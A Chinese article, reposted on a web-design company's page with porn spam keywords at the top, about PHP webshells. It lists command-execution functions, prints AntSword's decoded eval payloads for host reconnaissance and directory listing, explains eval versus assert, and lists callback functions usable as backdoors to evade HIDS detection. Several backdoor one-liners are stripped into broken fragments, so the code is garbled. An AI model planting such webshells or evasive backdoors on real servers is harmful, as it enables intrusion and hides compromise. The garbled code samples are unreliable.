真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

分析webshell以及eval與assert區(qū)別是什么

本篇文章給大家分享的是有關(guān)分析webshell以及eval與assert區(qū)別是什么,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

網(wǎng)站建設(shè)哪家好,找創(chuàng)新互聯(lián)!專注于網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開發(fā)、小程序制作、集團(tuán)企業(yè)網(wǎng)站建設(shè)等服務(wù)項(xiàng)目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了襄陽(yáng)免費(fèi)建站歡迎大家使用!

webshell分類

一句話木馬

可以在目標(biāo)服務(wù)器上執(zhí)行PHP代碼,并和客戶端(如菜刀,Cknife、冰蝎、蟻劍)進(jìn)行交互的webshell,俗稱小馬。

多功能木馬

根據(jù)PHP語(yǔ)法,編寫較多代碼,并在服務(wù)器上執(zhí)行,完成所有功能的Webshell,俗稱大馬

邏輯木馬

利用系統(tǒng)邏輯漏洞(如php uaf漏洞),繞過訪問控制或執(zhí)行特殊功能的WebShell

PHP 可執(zhí)行系統(tǒng)命令的函數(shù)

system

string system ( string $command [, int &$return_var ] );
# $command為執(zhí)行的命令,&return_var可選,用來存放命令執(zhí)行后的狀態(tài)碼
# system 函數(shù)執(zhí)行有回顯,可將結(jié)果顯示在頁(yè)面上

passthru

void passthru ( string $command [, int &$return_var ] );
# 和system函數(shù)類似,$command為執(zhí)行的命令,&return_var可選,用來存放命令執(zhí)行后的狀態(tài)碼
# passthru 執(zhí)行有回顯,可將執(zhí)行結(jié)果顯示在頁(yè)面上

exec

string exec ( string $command [, array &$output [, int &$return_var ]] );
# $command是要執(zhí)行的命令
# $output是獲得執(zhí)行命令輸出的每一行字符串,$return_var用來保存命令執(zhí)行的狀態(tài)碼(檢測(cè)成功或失敗)
# exec()函數(shù)執(zhí)行無(wú)回顯,默認(rèn)返回最后一行結(jié)果



shell_exec

string shell_exec( string &command);
# $command是要執(zhí)行的命令
# shell_exec()函數(shù)默認(rèn)無(wú)回顯,通過 echo 可將執(zhí)行結(jié)果輸出到頁(yè)面


# `(反引號(hào)) shell_exec() 函數(shù)實(shí)際上僅是反引號(hào) (`) 操作符的變體,當(dāng)禁用shell_exec時(shí),` 也不可執(zhí)行
# 在php中稱之為執(zhí)行運(yùn)算符,PHP 將嘗試將反引號(hào)中的內(nèi)容作為 shell 命令來執(zhí)行,并將其輸出信息返回

popen

resource popen ( string $command , string $mode );
# 函數(shù)需要兩個(gè)參數(shù),一個(gè)是執(zhí)行的命令command,另外一個(gè)是指針文件的連接模式mode,有r和w代表讀和寫。函數(shù)不會(huì)直接返回執(zhí)行結(jié)果,而是返回一個(gè)文件指針,但是命令已經(jīng)執(zhí)行。popen()打開一個(gè)指向進(jìn)程的管道,該進(jìn)程由派生給定的command命令執(zhí)行而產(chǎn)生。返回一個(gè)和fopen()所返回的相同的文件指針,只不過它是單向的(只能用于讀或?qū)懀┎⑶冶仨氂胮close()來關(guān)閉。此指針可以用于fgets(),fgetss()和 fwrite()

proc_open

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
);
# 與Popen函數(shù)類似,但是可以提供雙向管道

pcntl_exec

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
# path是可執(zhí)行二進(jìn)制文件路徑或一個(gè)在文件第一行指定了 一個(gè)可執(zhí)行文件路徑標(biāo)頭的腳本
# args是一個(gè)要傳遞給程序的參數(shù)的字符串?dāng)?shù)組。
# pcntl是linux下的一個(gè)擴(kuò)展,需要額外安裝,可以支持 php 的多線程操作。
# pcntl_exec函數(shù)的作用是在當(dāng)前進(jìn)程空間執(zhí)行指定程序,版本要求:PHP > 4.2.0

蟻劍連接webshell分析

上述函數(shù)都是可以作為一個(gè)簡(jiǎn)單的webshell執(zhí)行一些系統(tǒng)的命令,那么與客戶端(菜刀,CKnife,蟻劍,冰蝎)完成交互的webshell是什么樣的呢?

準(zhǔn)備一個(gè)一句話木馬

在蟻劍添加手動(dòng)代理,用Burp抓包分析,如下圖所示:

分析webshell以及eval與assert區(qū)別是什么分析webshell以及eval與assert區(qū)別是什么

將cmd參數(shù)解碼可以看到

// 臨時(shí)關(guān)閉PHP的錯(cuò)誤顯示功能
@ini_set("display_errors", "0");
// 設(shè)置執(zhí)行時(shí)間,為零說明永久執(zhí)行直到程序結(jié)束,是為了防止像dir、上傳文件大馬時(shí)超時(shí)。
@set_time_limit(0);
// asenc方法,接收參數(shù),返回參數(shù)
function asenc($out){
    return $out;
};
function asoutput(){
    // 從緩沖區(qū)取出數(shù)據(jù)
    $output=ob_get_contents();
    // 清空緩沖區(qū),并將緩沖區(qū)關(guān)閉
    ob_end_clean();
    echo "b48a94c80a";
    // 輸出數(shù)據(jù)
    echo @asenc($output);
    echo "606e3eed3";
}
// 打開緩沖區(qū),來保存所有的輸出
ob_start();
try{
    // $_SERVER["SCRIPT_FILENAME"]是獲取當(dāng)前執(zhí)行腳本的絕對(duì)路徑,dirname() 函數(shù)返回路徑中的目錄名稱部分,也就是說$D是當(dāng)前執(zhí)行腳本所在的目錄
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
        // $_SERVER["PATH_TRANSLATED"]獲取當(dāng)前腳本所在文件系統(tǒng)(不是文檔根目錄)的基本路徑。這是在服務(wù)器進(jìn)行虛擬到真實(shí)路徑的映像后的結(jié)果
        $D=dirname($_SERVER["PATH_TRANSLATED"]);
    // 拼接字符串和一個(gè)制表位
    $R="{$D}	";
    // 判斷是否為L(zhǎng)inux的文件目錄
    if(substr($D,0,1)!="/"){
        // 遍歷盤符
        foreach(range("C","Z")as $L)
            // 如果存在盤符
            if(is_dir("{$L}:"))
                // 拼接字符串
                $R.="{$L}:";
    }else{
        // 否則拼接/
        $R.="/";
    }
    // 拼接制表位
    $R.="	";
    // 判斷posix_getegid方法是否存在,存在調(diào)用該方法按用戶id返回用戶相關(guān)信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    // 如果用戶信息不為空,則返回name屬性,否則調(diào)用get_current_user()方法
    $s=($u)?$u["name"]:@get_current_user();
    // 返回運(yùn)行 PHP 的系統(tǒng)的有關(guān)信息 并拼接
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;
    ;}
catch(Exception $e){
    // 捕獲異常
    echo "ERROR://".$e->getMessage();
};
// 運(yùn)行程序
asoutput();
die();

將此代碼放置在eval函數(shù)中執(zhí)行,返回結(jié)果如下圖所示:

分析webshell以及eval與assert區(qū)別是什么這說明了eval函數(shù)將字符串按照php code解析并執(zhí)行了,所以客戶端只要構(gòu)造好相應(yīng)的php code,發(fā)送給服務(wù)器上的webshell,則可以執(zhí)行并返回。

當(dāng)我們?cè)偈褂昧心夸浀臅r(shí)候截?cái)啵梢钥吹饺缦聢D所示,蟻劍客戶端還是將封裝好的代碼發(fā)送給了服務(wù)端的webshell

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "7322e6777";
    echo @asenc($output);
    echo "7529076fb4d2";
}
ob_start();
try{
    $D=base64_decode($_POST["od0d1a967133cb"]);
    $F=@opendir($D);
    if($F==NULL){
        echo("ERROR:// Path Not Found Or No Permission!");
    }else{
        $M=NULL;
        $L=NULL;
        while($N=@readdir($F)){
            $P=$D.$N;
            $T=@date("Y-m-d H:i:s",@filemtime($P));
            @$E=substr(base_convert(@fileperms($P),10,8),-4);
            $R="	".$T."	".@filesize($P)."	".$E."	";
            if(@is_dir($P))
                $M.=$N."/".$R;
            else $L.=$N.$R;
        }
        echo $M.$L;
        @closedir($F);
    };
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==

其中od0d1a967133cb=QzovcGhwU3R1ZHkvV1dXLw==,這個(gè)od0d1a967133cb key的value值是base64解碼之后就是我的web服務(wù)的根目錄,可以看見,其實(shí)用于eval函數(shù)執(zhí)行的代碼都是大體相同的,只是更改了try-catch代碼塊中的邏輯,對(duì)于傳統(tǒng)的webshell管理工具,連接webshell并且執(zhí)行相關(guān)命令需要使用類似eval,assert等函數(shù)將字符串當(dāng)作php代碼執(zhí)行的性質(zhì),當(dāng)連接成功之后,就可以利用當(dāng)前web容器可解析的語(yǔ)言執(zhí)行代碼,并完成相關(guān)的操作。

分析webshell以及eval與assert區(qū)別是什么這里總結(jié)一下,腳本要將字符串(或文件流)當(dāng)做PHP代碼來執(zhí)行,主要會(huì)使用到以下函數(shù):

eval:PHP 4,PHP 5,PHP 7+ 均可用,接收一個(gè)參數(shù),將字符串作為PHP代碼執(zhí)行

 
//一句話

assert: PHP 4,PHP5,PHP7.2以下均可使用,一般接收一個(gè)參數(shù),PHP5.4.8版本后可以接受兩個(gè)參數(shù)

 
// 一句話

正則匹配類:prge_replacemb_erge_replace,prge_filter

// php5.5.0 以下 /e參數(shù)還能執(zhí)行
 
// 一句話


// php5.5.0+ /e 參數(shù)不能使用,推薦使用preg_replace_callback

// 一句話?cǎi)R

文件包含類:include,include_once,require,require_once,file_get_contents

eval與assert函數(shù)的區(qū)別

話說做webshell檢測(cè)的時(shí)候,因?yàn)橐@過HIDS,常規(guī)的一句話木馬,大馬都基本上會(huì)被攔截,不得不去找了一些php提供的”安全函數(shù)“(ps,這里我所指的“安全函數(shù)”是php的內(nèi)置的回調(diào)函數(shù),因?yàn)楸旧磉@些方法都是php自提供的,所以還是一定程度上可以繞過的)。開始使用的時(shí)候發(fā)現(xiàn)eval不能作為回調(diào)函數(shù)的后門?而是要用assert函數(shù)來代替eval?

意思就是當(dāng)我們構(gòu)造一個(gè)雙變量馬的時(shí)候,不能使用1=eval&2=xxx來使用,而只能使1=assert&2=command做為密碼連接,或者1=system&2=whoami來執(zhí)行命令

好奇心害死貓

查看官方文檔,他告知我如下:

eval是一個(gè)語(yǔ)言構(gòu)造器,而不是一個(gè)函數(shù),不能被可變函數(shù)調(diào)用;

然后我又去查詢什么是可變函數(shù),官方的定義如下:

PHP 支持可變函數(shù)的概念。這意味著如果一個(gè)變量名后有圓括號(hào),PHP 將尋找與變量的值同名的函數(shù),并且嘗試執(zhí)行它??勺兒瘮?shù)可以用來實(shí)現(xiàn)包括回調(diào)函數(shù),函數(shù)表在內(nèi)的一些用途,可變函數(shù)不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及類似的語(yǔ)言結(jié)構(gòu)。需要使用自己的包裝函數(shù)來將這些結(jié)構(gòu)用作可變函數(shù)。

到這里其實(shí)官方已經(jīng)說得很清楚了,但是我還是想一探究竟,深入淺出

安裝vld擴(kuò)展(這里提示,安裝擴(kuò)展在linux下,且php是自編譯的,安裝擴(kuò)展是最簡(jiǎn)單的)

使用vld擴(kuò)展,可以清楚的看到php5php7assert函數(shù),eval函數(shù)在opcode中執(zhí)行過程

關(guān)于php解釋型語(yǔ)言以及opcode的一些解釋

php是解釋型語(yǔ)言,所謂“解釋型語(yǔ)言”就是指用這種語(yǔ)言寫的程序不會(huì)被直接編譯為本地機(jī)器語(yǔ)言(native machine language),而是會(huì)被編譯為一種中間形式(代碼),很顯然這種中間形式不可能直接在CPU上執(zhí)行(因?yàn)镃PU只能執(zhí)行本地機(jī)器指令),但是這種中間形式可以在使用本地機(jī)器指令(如今大多是使用C語(yǔ)言)編寫的軟件上執(zhí)行。

PHP使用主要虛擬機(jī)(Zend虛擬機(jī),譯注:HHVM也是一種執(zhí)行PHP代碼的虛擬機(jī),但很顯然Zend虛擬機(jī)還是目前的主流)可以分為兩大部分,它們是緊密相連的:

  • 編譯棧(compile stack):識(shí)別PHP語(yǔ)言指令,把它們轉(zhuǎn)換為中間形式

  • 執(zhí)行棧(execution stack):獲取中間形式的代碼指令并在引擎上執(zhí)行,引擎是用C或者匯編編寫成的

OPCode

Zend VM的一個(gè)OPCode對(duì)應(yīng)虛擬機(jī)的一個(gè)底層操作。Zend虛擬機(jī)有很多OPCode:它們可以做很多事情。隨著PHP的發(fā)展,也引入了越來越多的OPCode,這都是源于PHP可以做越來越多的事情??梢栽赑HP的源代碼文件Zend/zend_vm_opcodes.h中看到所有的OPCode。

Zend VM的每個(gè)OPCode的工作方式都完全相同:它們都有一個(gè)handler(譯注:在Zend VM中,handler是一個(gè)函數(shù)指針,它指向OPCode對(duì)應(yīng)的處理函數(shù)的地址,這個(gè)處理函數(shù)就是用于實(shí)現(xiàn)OPCode具體操作的),這是一個(gè)C函數(shù),這個(gè)函數(shù)就包含了執(zhí)行這個(gè)OPCode時(shí)會(huì)運(yùn)行的代碼(例如“add”,它就會(huì)執(zhí)行一個(gè)基本的加法運(yùn)算)。每個(gè)handler都可以使用0、1或者2個(gè)操作數(shù):op1和op2,這個(gè)函數(shù)運(yùn)行后,它會(huì)后返回一個(gè)結(jié)果,有時(shí)也會(huì)返回一段信息(extended_value)

php5

如下圖所示,可以看到evalINCLUDE_OR_EVAL去處理,而assert是用DO_FCALL去處理

分析webshell以及eval與assert區(qū)別是什么在php源文件Zend/zend_vm_opcodes.h中看到所有的OPCode,其中在Zend/zend_vm_def.h文件中可以看見DO_FCALL這個(gè)OPCode的具體操作

DO_FCALL

分析webshell以及eval與assert區(qū)別是什么在這里說一下第一個(gè)判斷條件,因?yàn)榇_實(shí)不懂,在網(wǎng)上找了與一下相關(guān)的解釋

//如果EG(active_op_array)->run_time_cache[]數(shù)組中存在這個(gè)值,就取出來,畢竟C原生態(tài)數(shù)組取數(shù)據(jù)速度要遠(yuǎn)遠(yuǎn)超過zend_hash_quick_find(畢竟他要計(jì)算hash值,還要遍歷,不能達(dá)到真正的O(1)
if (CACHED_PTR(opline->op1.literal->cache_slot)) {
    ce = CACHED_PTR(opline->op1.literal->cache_slot);
}

然后如果C原生態(tài)數(shù)組里沒有這個(gè)函數(shù),就會(huì)進(jìn)入else if中,進(jìn)行一個(gè)哈希查找,并把函數(shù)指針放入 EX(function_state).function,最后再調(diào)用該函數(shù)

INCLUDE_OR_EVAL

到這里就可以看到為什么eval參數(shù)中必須是php代碼,而不是命令,當(dāng)在eval中的參數(shù)為命令的時(shí)候,就會(huì)出現(xiàn)eval() 'd code的錯(cuò)誤,當(dāng)參數(shù)為php代碼的時(shí)候,就會(huì)直接編譯執(zhí)行參數(shù)。

分析webshell以及eval與assert區(qū)別是什么

從OPCode中可以看到,eval就是Zend函數(shù),assert是宏編寫的,最后在調(diào)用上是不同的,如下圖所示,eval就不是宏定義的

分析webshell以及eval與assert區(qū)別是什么php7

在php7+中,assert斷言也已經(jīng)成為語(yǔ)言解釋器,再也不是函數(shù)了,所以在php7中使用assert作為回調(diào)后門不能成功的原因就在于此

分析webshell以及eval與assert區(qū)別是什么

回調(diào)后門函數(shù)

給大家留點(diǎn)彩蛋吧哈哈哈,我實(shí)在太菜了

register_shutdown_function

// (PHP 4, PHP 5, PHP 7)
// register_shutdown_function — 注冊(cè)一個(gè)會(huì)在php中止時(shí)執(zhí)行的函數(shù)
// register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void
// php7+ 存在立即執(zhí)行函數(shù)(function($a){@eval($a)})($_POST['cmd'])

array_udiff_assoc

// (PHP 5, PHP 7)
// array_udiff_assoc — 帶索引檢查計(jì)算數(shù)組的差集,用回調(diào)函數(shù)比較數(shù)據(jù)
// array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array

array_intersect_uassoc

// (PHP 5, PHP 7)
// array_intersect_uassoc — 帶索引檢查計(jì)算數(shù)組的交集,用回調(diào)函數(shù)比較索引
// array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array
" "),array(1),"assert");
?>
" "),array(1),"system");
?>

forward_static_call_array

// forward_static_call_array — 調(diào)用靜態(tài)方法并將參數(shù)作為數(shù)組傳遞
// forward_static_call_array ( callable $function , array $parameters ) : mixed

array_intersect_ukey

// (PHP 5 >= 5.1.0, PHP 7)
// array_intersect_ukey — 用回調(diào)函數(shù)比較鍵名來計(jì)算數(shù)組的交集
1),array(1),"assert");
?>
1),array(1),"system");
?>

register_tick_function

// register_tick_function — 注冊(cè)一個(gè)函數(shù),以便在每次被標(biāo)記時(shí)執(zhí)行
// register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

array_reduce

// (PHP 4 >= 4.0.5, PHP 5, PHP 7)
// array_reduce — 用回調(diào)函數(shù)迭代地將數(shù)組簡(jiǎn)化為單一的值
// array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed

array_udiff

// (PHP 5, PHP 7)
// array_udiff — 用回調(diào)函數(shù)比較數(shù)據(jù)來計(jì)算數(shù)組的差集
// array_udiff ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array

以上就是分析webshell以及eval與assert區(qū)別是什么,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


網(wǎng)頁(yè)標(biāo)題:分析webshell以及eval與assert區(qū)別是什么
當(dāng)前網(wǎng)址:http://weahome.cn/article/ijpoos.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部